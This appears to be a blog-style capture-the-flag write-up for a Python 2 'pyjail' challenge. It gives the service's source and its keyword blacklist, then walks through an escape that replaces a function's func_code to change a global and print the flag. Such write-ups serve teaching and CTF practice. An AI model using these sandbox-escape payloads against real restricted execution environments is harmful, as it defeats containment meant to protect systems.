Problem
There is service listening on remote host and service's source:import re import sys import string from sys import stdout sys.stderr = stdout sanitize = re.compile( r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)' ).sub trusted_builtins = """ True False type int """.split() alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}' t1 = ''.join(chr(code) for code in xrange(256)) t2 = [] for i in t1: if i in alphabet: t2.append(i) else: t2.append(' ') trans_table = string.maketrans(t1, ''.join(t2)) EXPECTED = 13.37 del alphabet, t1, t2, i, sys, string, re def clear_builtins(): orig = __builtins__.__dict__.copy() __builtins__.__dict__.clear() for i in trusted_builtins: __builtins__.__dict__[i] = orig[i] part1_of_flag = '******************' part2_of_flag = '******************' egg = 'egg' def main(): if raw_input() != 'leetleetleetleet': return print ('Welcome to pyjail!\n\n' 'Try to get the flag!\n' 'Use ctrl+D or --- to submit your code\n') stdout.flush() code = [] total_bytes = 0 while True: try: value = raw_input() total_bytes += len(value) assert total_bytes < 1337 if value == '---': break code.append(value) except EOFError: break code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table)) clear_builtins() def sandbox(): t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0 def exec_in_context(ctx): exec code in ctx print 'Flag is', try: assert FLAG != part1_of_flag print FLAG except: print '********************' def we_must_be_sure_flag_part1_is_ready(): global FLAG FLAG = part1_of_flag def we_must_be_sure_flag_part2_is_ready(): global FLAG FLAG += part2_of_flag def divider(v1): a = "You are lucky!" b = "Try again!" def divider(v2): i,t,s, n,o,t, s,o, h,a,r,d if int(v1) / int(v2) == EXPECTED: print a we_must_be_sure_flag_part2_is_ready() else: print b we_must_be_sure_flag_part1_is_ready() return divider exec_in_context({'div': divider}) sandbox() if __name__ == '__main__': main()
We have to escape from jail. But we can use just 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{} and we can't use __, import, globals, locals, exec, eval, join, format, replace, translate, try, except, with, content, frame, back. I'm newbie at python so it takes many time of me to guess how divider() works (=. First of all we have to post leetleetleetleet to server. Now we can post some code and it will be execd. But globals are not available exclude divider() function that can be called by div(). It returns function that divide two numbers converted to int. So we need to call div(a)(b). If int(a)/int(b)==13.37 (EXPECTED variable) then we will get the flag. But in python result of dividing two int is int. So int(a)/int(b) can not be 13.37 (float)! Ok. Let's try to overload int().
def int(a): return float(a) div(1337)(100) ---
We haven't access to globals so we can't overload int. Maybe we can change environment variables for function which we call? After a short googling I found what I was looking for. With div.func_globals we can change EXPECTED for div() function. But "globals" is restricted word. There is another interesting attribute - func_code. Maybe we can change code of divider()? Let's try to write simple test on localhost.
SOMEVAR = 13.37 def sandbox(): def myfunc(): global SOMEVAR print SOMEVAR def printsomevar(): global SOMEVAR print SOMEVAR exec 'printsomevar()\ndef test():\n global SOMEVAR\n SOMEVAR=1\ndiv.func_code=test.func_code\ndiv()\nprintsomevar()' in {'div': myfunc, 'printsomevar': printsomevar} sandbox()
We were given following string to exec:
printsomevar() def test(): global SOMEVAR SOMEVAR=1 div.func_code=test.func_code div() printsomevar()
Result::
13.37 1Wow! Looks like that's right way! Let's try to post it to server.
a=div.func_code # this EXPENDEND just have same name as EXTENDED which defined in jail EXPECTED=12 def test(): global EXTENDED EXTENDED=1 div.func_code=test.func_code div() div.func_code=a; div(1)(1)Fail. divider() function have 10 freevars, not 0. Ok. Let's fix it.
def sandbox(): a=b=c=d=e=f=g=h=i=j=0 p=div.func_code; def test(): global EXPECTED EXPECTED=1 a,b,c,d,e,f,g,h,i,j div.func_code=test.func_code div() div.func_code=p div(1)(1) sandbox() ---Yohoho! We have escaped from jail! And there is our flag.
No comments:
Post a Comment